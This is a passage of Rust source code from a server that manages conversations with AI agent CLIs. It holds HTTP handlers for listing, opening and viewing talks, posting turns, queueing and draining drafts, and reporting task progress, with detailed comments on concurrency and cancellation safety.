8028                .any(|r| r.notice == talk.pending)
8029            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8030        {
8031            talk.pending_messages.push(talk::Message {
8032                sender: Some(talk::Sender::Magi),
8033                display: Some(display),
8034                body: talk.pending.clone(),
8035                attachments: talk.pending_attachments.clone(),
8036                reply: None,
8037            });
8038        }
8039        let excerpts: Vec<Vec<Option<String>>> = talk
8040            .turns
8041            .iter()
8042            .map(|turn| {
8043                turn.messages
8044                    .iter()
8045                    .map(|m| {
8046                        m.display
8047                            .as_ref()
8048                            .map(|d| d.facts.chars().take(240).collect())
8049                    })
8050                    .collect()
8051            })
8052            .collect();
8053        for turn in &mut talk.turns {
8054            let provenance = talk::sender(turn, None);
8055            turn.sender = Some(provenance);
8056            for message in &mut turn.messages {
8057                message.sender = Some(message.sender.unwrap_or(provenance));
8058            }
8059        }
8060        // Old reply snapshots have only a role; recover provenance from their target.
8061        let senders: Vec<Vec<talk::Sender>> = talk
8062            .turns
8063            .iter()
8064            .map(|turn| {
8065                if turn.messages.is_empty() {
8066                    vec![talk::sender(turn, None)]
8067                } else {
8068                    turn.messages
8069                        .iter()
8070                        .map(|m| talk::sender(turn, Some(m)))
8071                        .collect()
8072                }
8073            })
8074            .collect();
8075        for reply in talk
8076            .turns
8077            .iter_mut()
8078            .flat_map(|t| t.messages.iter_mut())
8079            .chain(talk.pending_messages.iter_mut())
8080            .filter_map(|m| m.reply.as_mut())
8081        {
8082            if let Some(Some(excerpt)) = excerpts
8083                .get(reply.target.turn)
8084                .and_then(|ms| ms.get(reply.target.message))
8085            {
8086                reply.excerpt = excerpt.clone();
8087                reply.sender = Some(talk::Sender::Magi);
8088            }
8089            if reply.sender.is_none() {
8090                reply.sender = senders
8091                    .get(reply.target.turn)
8092                    .and_then(|messages| messages.get(reply.target.message))
8093                    .copied();
8094            }
8095        }
8096        let context = talk::context_usage(&talk, cfg);
8097        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8098            .turns
8099            .iter()
8100            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8101            .collect();
8102        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8103            .turns
8104            .iter()
8105            .map(|turn| {
8106                if turn.messages.is_empty() {
8107                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8108                } else {
8109                    turn.messages
8110                        .iter()
8111                        .map(|message| {
8112                            notice_markdown(
8113                                message.sender.unwrap_or(talk::Sender::Operator),
8114                                &message.body,
8115                                message.display.as_ref(),
8116                            )
8117                        })
8118                        .collect()
8119                }
8120            })
8121            .collect();
8122        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8123            .pending_messages
8124            .iter()
8125            .map(|message| {
8126                notice_markdown(
8127                    message.sender.unwrap_or(talk::Sender::Operator),
8128                    &message.body,
8129                    message.display.as_ref(),
8130                )
8131            })
8132            .collect();
8133        for nodes in &mut turn_bodies_md {
8134            references.markdown(nodes);
8135        }
8136        for nodes in turn_messages_md
8137            .iter_mut()
8138            .flatten()
8139            .chain(pending_messages_md.iter_mut())
8140            .flatten()
8141        {
8142            references.markdown(nodes);
8143        }
8144        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8145        let persona_name = persona::find(specs, &talk.persona)
8146            .filter(|p| !p.is_default())
8147            .map(|p| p.name);
8148        let mut avatar_persona = persona::find(specs, &talk.persona)
8149            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8150        // A removed configured persona may still have an override and old talks.
8151        if avatar_persona.id != talk.persona
8152            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8153        {
8154            avatar_persona.id.clone_from(&talk.persona);
8155            avatar_persona.icon = None;
8156        }
8157        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8158        let approvals_store = ask::Questions::at(home.join("questions"));
8159        let merge_approvals = talk
8160            .notified
8161            .iter()
8162            .filter_map(|key| key.strip_prefix("question:"))
8163            .filter_map(|id| approvals_store.get(id).ok())
8164            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8165            .filter_map(|q| {
8166                Some(ChatApproval {
8167                    question: q.id,
8168                    target: q.merge_target?,
8169                })
8170            })
8171            .collect();
8172        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8173        Self {
8174            turn_bodies_md,
8175            turn_messages_md,
8176            pending_messages_md,
8177            merge_approvals,
8178            thinking,
8179            context,
8180            operator_name,
8181            persona_name,
8182            persona_avatar,
8183            magi_avatar: magi_icon_url(home),
8184            operator_avatar: operator_icon_url(home),
8185            talk,
8186        }
8187    }
8188}
8189
8190/// Parse only the user-facing representation of an explicitly identified MAGI send.
8191fn notice_markdown(
8192    sender: talk::Sender,
8193    body: &str,
8194    display: Option<&crate::prompt::NoticeDisplay>,
8195) -> Option<Vec<md::Node>> {
8196    if sender != talk::Sender::Magi {
8197        return None;
8198    }
8199    let text = if let Some(display) = display {
8200        display.facts.as_str()
8201    } else {
8202        // Unknown completion templates may contain internal directives. Never
8203        // promote their agent input to the Markdown display surface.
8204        if crate::prompt::is_completion_notice(body)
8205            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8206        {
8207            return None;
8208        }
8209        body.strip_prefix("magi: ").unwrap_or(body)
8210    };
8211    Some(md::to_nodes(text, &md::ImageBase::None))
8212}
8213
8214/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8215/// conversation has filed, so the phone can follow one from inside the
8216/// conversation that asked for it rather than hunting the Queue for a task id
8217/// it may not remember.
8218#[derive(Debug, Serialize)]
8219struct TalkDetailView {
8220    #[serde(flatten)]
8221    view: TalkView,
8222    tasks: Vec<TaskView>,
8223    task_progress: TalkTaskProgress,
8224    /// The agents this talk's repository can switch to; empty when its
8225    /// configuration cannot be read, which must not fail the whole detail.
8226    roster: Vec<RosterEntry>,
8227    /// The personas the conversation can pick from. The built-ins are always
8228    /// listed, even when the repository's configuration cannot be read.
8229    personas: Vec<PersonaEntry>,
8230}
8231
8232/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8233#[derive(Debug, Serialize)]
8234struct TalkTaskProgress {
8235    state: &'static str,
8236    total: usize,
8237    done: usize,
8238    counts: std::collections::BTreeMap<&'static str, usize>,
8239    unfinished_ids: Vec<String>,
8240}
8241
8242fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8243    let mut counts = std::collections::BTreeMap::from([
8244        ("queued", 0),
8245        ("running", 0),
8246        ("done", 0),
8247        ("failed", 0),
8248        ("held", 0),
8249        ("blocked", 0),
8250        ("parked", 0),
8251    ]);
8252    let mut unfinished_ids = Vec::new();
8253    for task in tasks {
8254        *counts.entry(task.status.as_str()).or_default() += 1;
8255        if task.status != TaskStatus::Done {
8256            unfinished_ids.push(task.id.clone());
8257        }
8258    }
8259    TalkTaskProgress {
8260        state: if tasks.is_empty() {
8261            "none"
8262        } else if unfinished_ids.is_empty() {
8263            "complete"
8264        } else {
8265            "incomplete"
8266        },
8267        total: tasks.len(),
8268        done: tasks.len() - unfinished_ids.len(),
8269        counts,
8270        unfinished_ids,
8271    }
8272}
8273
8274/// One persona as the talk's persona selector shows it.
8275#[derive(Debug, Serialize)]
8276struct PersonaEntry {
8277    id: String,
8278    name: String,
8279    /// Avatar URL, see [`TalkView::persona_avatar`].
8280    avatar: String,
8281}
8282
8283/// One roster agent as the talk's agent selector shows it.
8284#[derive(Debug, Serialize)]
8285struct RosterEntry {
8286    id: String,
8287    kind: AgentKind,
8288    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8289    runnable: bool,
8290}
8291
8292/// `GET /api/talks`.
8293///
8294/// Every conversation, open ones first and newest first - [`Talks::list`]'s
8295/// own order.
8296async fn talks_list(
8297    State(ui): State<Arc<Ui>>,
8298    Query(q): Query<ListQuery>,
8299) -> ApiResult<Json<Vec<TalkView>>> {
8300    blocking(move || {
8301        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8302        let talks = q.ids.as_ref().map_or_else(
8303            || ui.talks.list(),
8304            |ids| {
8305                ids.split(',')
8306                    .filter(|id| plain_record_id(id))
8307                    .filter_map(|id| ui.talks.get(id).ok())
8308                    .collect()
8309            },
8310        );
8311        let references = if talks.iter().any(id_links::has_references) {
8312            ui.references.get(
8313                &ui.runs,
8314                &ui.queue,
8315                &ui.questions,
8316                &ui.talks,
8317                talks.iter().any(id_links::has_findings),
8318            )
8319        } else {
8320            Arc::new(id_links::IdIndex::default())
8321        };
8322        Ok(Json(
8323            talks
8324                .into_iter()
8325                .filter(|talk| q.contains(&talk.id))
8326                .map(|talk| {
8327                    let thinking = ui.is_thinking(&talk.id);
8328                    let cfg = configs
8329                        .entry(talk.repo.clone())
8330                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8331                    TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8332                })
8333                .collect(),
8334        ))
8335    })
8336    .await
8337}
8338
8339/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8340/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8341/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8342/// end still opens a talk against an older binary.
8343#[derive(Debug, Default, Deserialize)]
8344#[serde(default)]
8345struct NewTalk {
8346    agent: Option<String>,
8347    repo: Option<PathBuf>,
8348    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8349    /// wrong type is dropped like a stale value instead of failing the request;
8350    /// each falls back to its default on its own (see [`talk::begin_with`]).
8351    preferred_agent: Option<serde_json::Value>,
8352    persona: Option<serde_json::Value>,
8353    implementers: Option<serde_json::Value>,
8354}
8355
8356/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8357/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8358async fn talk_post(
8359    State(ui): State<Arc<Ui>>,
8360    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8361) -> ApiResult<impl IntoResponse> {
8362    // An absent body, or an empty one, is the normal way to open a talk - see
8363    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8364    // rather than refused.
8365    let body = match body {
8366        Ok(Json(body)) => body,
8367        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8368        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8369    };
8370    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8371    let cfg = config_for(&repo).await?;
8372    let view = blocking(move || {
8373        let preferred = talk::Preferred {
8374            agent: body
8375                .preferred_agent
8376                .as_ref()
8377                .and_then(|v| v.as_str())
8378                .map(str::to_owned),
8379            persona: body
8380                .persona
8381                .as_ref()
8382                .and_then(|v| v.as_str())
8383                .map(str::to_owned),
8384            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8385        };
8386        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8387        let thinking = ui.is_thinking(&talk.id);
8388        Ok(TalkView::new(talk, thinking, &ui))
8389    })
8390    .await?;
8391    Ok((StatusCode::CREATED, Json(view)))
8392}
8393
8394/// Transcript first: unrelated queue history and repository probes are deferred.
8395async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8396    blocking(move || {
8397        let id = resolve_talk(&ui.talks, &id)?;
8398        let talk = ui.talks.get(&id)?;
8399        let thinking = ui.is_thinking(&id);
8400        Ok(Json(TalkView::with_config(
8401            talk,
8402            thinking,
8403            None,
8404            &ui.home,
8405            &ui.references,
8406        )))
8407    })
8408    .await
8409}
8410
8411async fn talk_sections(
8412    State(ui): State<Arc<Ui>>,
8413    Path(id): Path<String>,
8414) -> ApiResult<Json<serde_json::Value>> {
8415    blocking(move || {
8416        let id = resolve_talk(&ui.talks, &id)?;
8417        let talk = ui.talks.get(&id)?;
8418        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8419        let task_progress = talk_task_progress(&tasks);
8420        let tasks: Vec<_> = tasks
8421            .into_iter()
8422            .map(|task| {
8423                serde_json::json!({
8424                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8425                })
8426            })
8427            .collect();
8428        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8429        let roster: Vec<_> = cfg
8430            .as_ref()
8431            .map(|cfg| {
8432                cfg.agents
8433                    .iter()
8434                    .map(|a| RosterEntry {
8435                        id: a.id.clone(),
8436                        kind: a.kind,
8437                        runnable: agent::installed(a),
8438                    })
8439                    .collect()
8440            })
8441            .unwrap_or_default();
8442        let specs = cfg
8443            .as_ref()
8444            .map(|cfg| cfg.talk.personas.clone())
8445            .unwrap_or_default();
8446        let personas: Vec<_> = persona::catalog(&specs)
8447            .into_iter()
8448            .map(|p| PersonaEntry {
8449                avatar: avatar_url(&ui.home, &talk.id, &p),
8450                id: p.id,
8451                name: p.name,
8452            })
8453            .collect();
8454        let active_persona = persona::find(&specs, &talk.persona)
8455            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8456        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8457        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8458        Ok(Json(serde_json::json!({
8459            "tasks": tasks, "task_progress": task_progress,
8460            "roster": roster, "personas": personas,
8461            "context": talk::context_usage(&talk, cfg.as_ref()),
8462            "context_for": talk.updated_at,
8463            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8464            "persona_name": persona_name,
8465            "persona_avatar": persona_avatar,
8466        })))
8467    })
8468    .await
8469}
8470
8471/// `GET /api/talks/{id}`.
8472async fn talk_detail(
8473    State(ui): State<Arc<Ui>>,
8474    Path(id): Path<String>,
8475) -> ApiResult<Json<TalkDetailView>> {
8476    blocking(move || {
8477        let id = resolve_talk(&ui.talks, &id)?;
8478        let talk = ui.talks.get(&id)?;
8479        let thinking = ui.is_thinking(&talk.id);
8480        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8481        let task_progress = talk_task_progress(&tasks);
8482        let tasks = tasks.into_iter().map(TaskView::from).collect();
8483        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8484        let roster = cfg
8485            .as_ref()
8486            .map(|cfg| {
8487                cfg.agents
8488                    .iter()
8489                    .map(|a| RosterEntry {
8490                        id: a.id.clone(),
8491                        kind: a.kind,
8492                        runnable: agent::installed(a),
8493                    })
8494                    .collect()
8495            })
8496            .unwrap_or_default();
8497        let specs = cfg
8498            .as_ref()
8499            .map(|cfg| cfg.talk.personas.clone())
8500            .unwrap_or_default();
8501        let personas = persona::catalog(&specs)
8502            .into_iter()
8503            .map(|p| PersonaEntry {
8504                avatar: avatar_url(&ui.home, &talk.id, &p),
8505                id: p.id,
8506                name: p.name,
8507            })
8508            .collect();
8509        Ok(Json(TalkDetailView {
8510            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8511            tasks,
8512            task_progress,
8513            roster,
8514            personas,
8515        }))
8516    })
8517    .await
8518}
8519
8520/// The body of `POST /api/talks/{id}/say`.
8521///
8522/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8523/// returned - never bytes of its own - so a turn with no images just omits
8524/// the field, which is what an older front end still does.
8525#[derive(Debug, Default, Deserialize)]
8526#[serde(default, deny_unknown_fields)]
8527struct NewTalkTurn {
8528    reply_to: Option<talk::ReplyTarget>,
8529    text: String,
8530    attachments: Vec<String>,
8531}
8532
8533#[derive(Debug, Deserialize)]
8534#[serde(deny_unknown_fields)]
8535struct EditTalkPending {
8536    #[serde(default)]
8537    message: Option<usize>,
8538    text: String,
8539    expected_text: String,
8540    expected_attachments: Vec<String>,
8541}
8542
8543#[derive(Debug, Deserialize)]
8544#[serde(deny_unknown_fields)]
8545struct ClearTalkPending {
8546    expected_text: String,
8547    expected_attachments: Vec<String>,
8548}
8549
8550/// `POST /api/talks/{id}/say` - one turn of the conversation.
8551///
8552/// Not filesystem work, and therefore not routed through [`blocking`]: this
8553/// route spawns an agent CLI and a turn here can run for the whole of
8554/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8555/// research turn is expected to run commands rather than answer from what it
8556/// already knows. Holding an HTTP connection open that long is not a thing
8557/// to ask a phone to do; the operator's message is recorded and answered for
8558/// immediately, and the reply lands in the background, discovered through
8559/// the change stream's `talks_rev` the same way every other update on this
8560/// surface is.
8561async fn talk_say(
8562    State(ui): State<Arc<Ui>>,
8563    Path(id): Path<String>,
8564    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8565) -> ApiResult<(StatusCode, Json<TalkView>)> {
8566    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8567    if body.text.trim().is_empty() && body.attachments.is_empty() {
8568        return Err(ApiError::bad_request("say something"));
8569    }
8570
8571    let id = {
8572        let ui = Arc::clone(&ui);
8573        let asked = id.clone();
8574        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8575    };
8576    // A closed Talk never accepts a new immediate or queued turn. Check this
8577    // before claiming a slot so its ordinary domain refusal is a 409, not an
8578    // incidental failure from the later record/queue write.
8579    {
8580        let ui = Arc::clone(&ui);
8581        let id = id.clone();
8582        blocking(move || {
8583            let talk = ui.talks.get(&id)?;
8584            if !talk.status.open() {
8585                return Err(ApiError::conflict(format!(
8586                    "talk {} is {} and takes no more turns",
8587                    talk.short(),
8588                    talk.status.as_str()
8589                )));
8590            }
8591            Ok(())
8592        })
8593        .await?;
8594    }
8595
8596    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
8597    // actually stores, before anything is written - an unknown id is a 4xx
8598    // that names it rather than a turn (or a queued draft) silently missing
8599    // an image.
8600    let attachments = {
8601        let ui = Arc::clone(&ui);
8602        let id = id.clone();
8603        let ids = body.attachments.clone();
8604        blocking(move || {
8605            ids.into_iter()
8606                .map(|att_id| {
8607                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8608                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8609                    })
8610                })
8611                .collect::<ApiResult<Vec<talk::Attachment>>>()
8612        })
8613        .await?
8614    };
8615
8616    // Pending recovery and a new immediate turn are decided under the same
8617    // claim lock. Without that one critical section, a second `/say` can see
8618    // the first request's claim as "busy" and append itself to the recovered
8619    // draft before the first request rejects it.
8620    let start = {
8621        let ui = Arc::clone(&ui);
8622        let id = id.clone();
8623        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8624    };
8625    let turn_guard = match start {
8626        TalkTurnStart::Claimed(turn_guard) => turn_guard,
8627        TalkTurnStart::Pending => {
8628            return Err(ApiError::conflict(
8629                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8630            ));
8631        }
8632        TalkTurnStart::Foreign => {
8633            return Err(ApiError::conflict(
8634                "a turn is already running in another process; try again when it has finished",
8635            ));
8636        }
8637        TalkTurnStart::Busy => {
8638            // A turn is already running: queue rather than refuse. See
8639            // `Ui::begin_talk_turn` and `talk::queue`.
8640            //
8641            // The queue write and the drain it may owe live inside the task
8642            // `tokio::spawn` hands to the runtime, for the same reason the
8643            // immediate path below puts `record` there: a dropped handler
8644            // future must not be able to land between a durable write and
8645            // the task that answers it. `blocking` runs its closure on
8646            // `spawn_blocking`, which finishes whether or not anyone is left
8647            // to receive its result - so a disconnect at the `.await` below
8648            // would otherwise leave the draft persisted and the reclaimed
8649            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
8650            // ever started and the queued text stranded until some later
8651            // `say` happened to pick it up. The caller's 202 travels back
8652            // over a `oneshot`, sent the moment the write lands.
8653            let (tx, rx) = tokio::sync::oneshot::channel();
8654            tokio::spawn({
8655                let ui = Arc::clone(&ui);
8656                let id = id.clone();
8657                let said = body.text.clone();
8658                let reply_to = body.reply_to.clone();
8659                async move {
8660                    let written = blocking({
8661                        let ui = Arc::clone(&ui);
8662                        let id = id.clone();
8663                        move || {
8664                            let mut talk = ui.talks.get(&id)?;
8665                            // A test-only stop point, right before the write
8666                            // an interleaving test needs to pin - see
8667                            // `BusyQueueGate`. `None` in every real server:
8668                            // the field only exists under `#[cfg(test)]`.
8669                            #[cfg(test)]
8670                            if let Some(gate) = ui
8671                                .busy_queue_gate
8672                                .lock()
8673                                .unwrap_or_else(PoisonError::into_inner)
8674                                .take()
8675                            {
8676                                let _ = gate.reached.send(());
8677                                let _ = gate.release.recv();
8678                            }
8679                            if let Err(error) = talk::queue_reply(
8680                                &mut talk,
8681                                &ui.talks,
8682                                &said,
8683                                attachments,
8684                                reply_to,
8685                            ) {
8686                                if let Ok(fresh) = ui.talks.get(&id) {
8687                                    if !fresh.status.open() {
8688                                        return Err(ApiError::conflict(format!(
8689                                            "talk {} is {} and takes no more turns",
8690                                            fresh.short(),
8691                                            fresh.status.as_str()
8692                                        )));
8693                                    }
8694                                }
8695                                return Err(
8696                                    if error.to_string().contains("invalid reply target") {
8697                                        ApiError::bad_request("invalid reply target")
8698                                    } else {
8699                                        ApiError::from(error)
8700                                    },
8701                                );
8702                            }
8703                            // The turn that looked busy a moment ago can have
8704                            // finished, found nothing to drain and given up the
8705                            // slot in the gap between that check and this write
8706                            // landing - see `drain_loop`'s own doc for the other
8707                            // half of why that gap would otherwise be able to
8708                            // open at all. Reclaiming the slot here, rather than
8709                            // trusting that whoever held it is still watching, is
8710                            // what stops the text just queued from being stranded
8711                            // until an unrelated future `say` happens to drain
8712                            // it.
8713                            let claim = match ui.begin_queued_talk_turn(&id)? {
8714                                Some(turn_guard) => {
8715                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8716                                    Some((talk.clone(), cfg, turn_guard))
8717                                }
8718                                None => None,
8719                            };
8720                            let thinking = ui.is_thinking(&id);
8721                            Ok((TalkView::new(talk, thinking, &ui), claim))
8722                        }
8723                    })
8724                    .await;
8725                    let (view, reclaimed) = match written {
8726                        Ok(pair) => pair,
8727                        Err(e) => {
8728                            // Nobody is listening if the handler's own future
8729                            // was already dropped - that is fine, nothing was
8730                            // persisted and there is no response left to carry
8731                            // this error to.
8732                            let _ = tx.send(Err(e));
8733                            return;
8734                        }
8735                    };
8736                    // If this fails, the caller is gone; the drain below still
8737                    // runs exactly as it would have for a caller that stayed.
8738                    let _ = tx.send(Ok(view));
8739                    if let Some((talk, cfg, turn_guard)) = reclaimed {
8740                        let talks = ui.talks.clone();
8741                        drain_loop(talk, talks, cfg, id, turn_guard).await;
8742                    }
8743                }
8744            });
8745            let view = rx
8746                .await
8747                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8748            return Ok((StatusCode::ACCEPTED, Json(view)));
8749        }
8750    };
8751
8752    let (talk, cfg) = {
8753        let ui = Arc::clone(&ui);
8754        let id = id.clone();
8755        blocking(move || {
8756            let talk = ui.talks.get(&id)?;
8757            let (cfg, _) = Config::discover(&talk.repo, None)?;
8758            Ok((talk, cfg))
8759        })
8760        .await?
8761    };
8762
8763    let talks = ui.talks.clone();
8764    // `record` runs *inside* the spawned task, rather than in this handler
8765    // followed by a separate `tokio::spawn` for `respond` - axum drops this
8766    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
8767    // doc), and that drop can land at any `.await` this function makes,
8768    // including one that has already produced its result but not yet
8769    // resumed. A message could end up recorded on disk with the handler
8770    // future gone before it ever reached the `tokio::spawn` that would have
8771    // started the reply. `tokio::spawn` itself is a plain, synchronous call
8772    // that hands the whole future to the runtime as one unit - once made, no
8773    // later drop of *this* handler's own future (that call's return value is
8774    // never held onto here) can reach back in and stop it, so record and the
8775    // hand-off to `respond` are unconditionally atomic from the client's
8776    // point of view. The immediate response this handler owes the caller
8777    // travels back over a `oneshot`, sent the moment `record` succeeds.
8778    let (tx, rx) = tokio::sync::oneshot::channel();
8779    tokio::spawn({
8780        let ui = Arc::clone(&ui);
8781        let talks = talks.clone();
8782        let id = id.clone();
8783        let said = body.text.clone();
8784        let reply_to = body.reply_to.clone();
8785        let mut talk = talk.clone();
8786        async move {
8787            let recorded = blocking({
8788                let talks = talks.clone();
8789                move || {
8790                    if let Err(error) =
8791                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8792                    {
8793                        if let Ok(fresh) = talks.get(&talk.id) {
8794                            if !fresh.status.open() {
8795                                return Err(ApiError::conflict(format!(
8796                                    "talk {} is {} and takes no more turns",
8797                                    fresh.short(),
8798                                    fresh.status.as_str()
8799                                )));
8800                            }
8801                        }
8802                        return Err(if error.to_string().contains("invalid reply target") {
8803                            ApiError::bad_request("invalid reply target")
8804                        } else {
8805                            ApiError::from(error)
8806                        });
8807                    }
8808                    // `record` mutates `talk` in place to the freshly persisted
8809                    // state (status, pending, and the just-appended operator
8810                    // turn), so returning it here is equivalent to re-reading it
8811                    // from disk - without the extra round trip a re-read would
8812                    // need.
8813                    Ok((said.trim().to_owned(), talk))
8814                }
8815            })
8816            .await;
8817            let (text, mut talk) = match recorded {
8818                Ok(pair) => pair,
8819                Err(e) => {
8820                    // Nobody is listening if the handler's own future was
8821                    // already dropped - that is fine, there is no response
8822                    // left to carry this error to and nothing was persisted.
8823                    let _ = tx.send(Err(e));
8824                    return;
8825                }
8826            };
8827            let queued = talk.clone();
8828            let thinking = ui.is_thinking(&id);
8829            // If this fails, the caller is gone; the turn still runs below
8830            // exactly as it would have for a caller that stayed connected.
8831            let _ = tx.send(Ok((queued, thinking)));
8832
8833            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8834                // `respond` records the failure in the transcript itself,
8835                // which is what the phone reads; this line is for the
8836                // operator's terminal.
8837                tracing::warn!("talk {id} turn failed: {e:#}");
8838            }
8839            // Anything `talk::queue` added while the turn above was running
8840            // is still owed an answer - see `drain_loop`.
8841            drain_loop(talk, talks, cfg, id, turn_guard).await;
8842        }
8843    });
8844
8845    let (queued, thinking) = rx
8846        .await
8847        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8848
8849    // 202: the operator's message is recorded and a turn is running.
8850    Ok((
8851        StatusCode::ACCEPTED,
8852        Json(TalkView::new(queued, thinking, &ui)),
8853    ))
8854}
8855
8856/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
8857/// changing it. The turn guard is the same per-talk ownership `talk_say`
8858/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
8859async fn talk_pending_resume(
8860    State(ui): State<Arc<Ui>>,
8861    Path(id): Path<String>,
8862) -> ApiResult<(StatusCode, Json<TalkView>)> {
8863    let id = {
8864        let ui = Arc::clone(&ui);
8865        let asked = id.clone();
8866        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8867    };
8868    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8869        return Err(ApiError::conflict(
8870            "a talk turn is already running; the queued draft will be handled by it",
8871        ));
8872    };
8873    let (talk, cfg) = {
8874        let ui = Arc::clone(&ui);
8875        let id = id.clone();
8876        blocking(move || {
8877            let talk = ui.talks.get(&id)?;
8878            if !talk.status.open() {
8879                return Err(ApiError::conflict(format!(
8880                    "talk {} is {} and takes no more turns",
8881                    talk.short(),
8882                    talk.status.as_str()
8883                )));
8884            }
8885            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8886                return Err(ApiError::conflict("there is no queued draft to resume"));
8887            }
8888            let (cfg, _) = Config::discover(&talk.repo, None)?;
8889            Ok((talk, cfg))
8890        })
8891        .await?
8892    };
8893    let view = TalkView::new(talk.clone(), true, &ui);
8894    let talks = ui.talks.clone();
8895    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8896    Ok((StatusCode::ACCEPTED, Json(view)))
8897}
8898
8899/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
8900/// releasing `turn` only once a check finds it truly empty. Shared by both
8901/// callers that can end up owning a talk's turn slot with something already
8902/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
8903/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
8904/// holder just gave up - see the comment at that call site.
8905///
8906/// The release is folded into the final generation check under `turn`'s own
8907/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
8908/// free". Before its blocking `talk::drain`, this loop observes the queued
8909/// generation. A `say` that sees the turn busy writes its draft, then advances
8910/// that generation. Thus, if it lands while the drain is in flight, the final
8911/// check observes the advance and drains again; otherwise it releases the
8912/// claim while holding the same lock. This keeps the release/arrival handoff
8913/// atomic without holding the global claim mutex across filesystem I/O.
8914async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8915    drain_loop_started(talk, talks, cfg, id, turn, None).await;
8916}
8917
8918/// A settings response must not report idle while its claim is still held.
8919/// Wait until the first drain either releases the claim or promotes a draft.
8920/// The task owns the guard even if the HTTP handler is cancelled while waiting.
8921async fn settle_settings_turn(
8922    talk: Talk,
8923    talks: Talks,
8924    cfg: Config,
8925    id: String,
8926    turn: TalkTurnGuard,
8927    observed: u64,
8928) -> bool {
8929    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8930        let turns = Arc::clone(&turn.turns);
8931        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8932        if live.queued.get(&id).copied().unwrap_or(0) == observed {
8933            // Release under the arrival lock; a later `/say` takes its own claim.
8934            turn.release(&mut live);
8935            return false;
8936        }
8937    }
8938    let (started, settled) = tokio::sync::oneshot::channel();
8939    tokio::spawn(drain_loop_started(
8940        talk,
8941        talks,
8942        cfg,
8943        id,
8944        turn,
8945        Some(started),
8946    ));
8947    settled.await.unwrap_or(false)
8948}
8949
8950async fn drain_loop_started(
8951    mut talk: Talk,
8952    talks: Talks,
8953    cfg: Config,
8954    id: String,
8955    turn: TalkTurnGuard,
8956    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8957) {
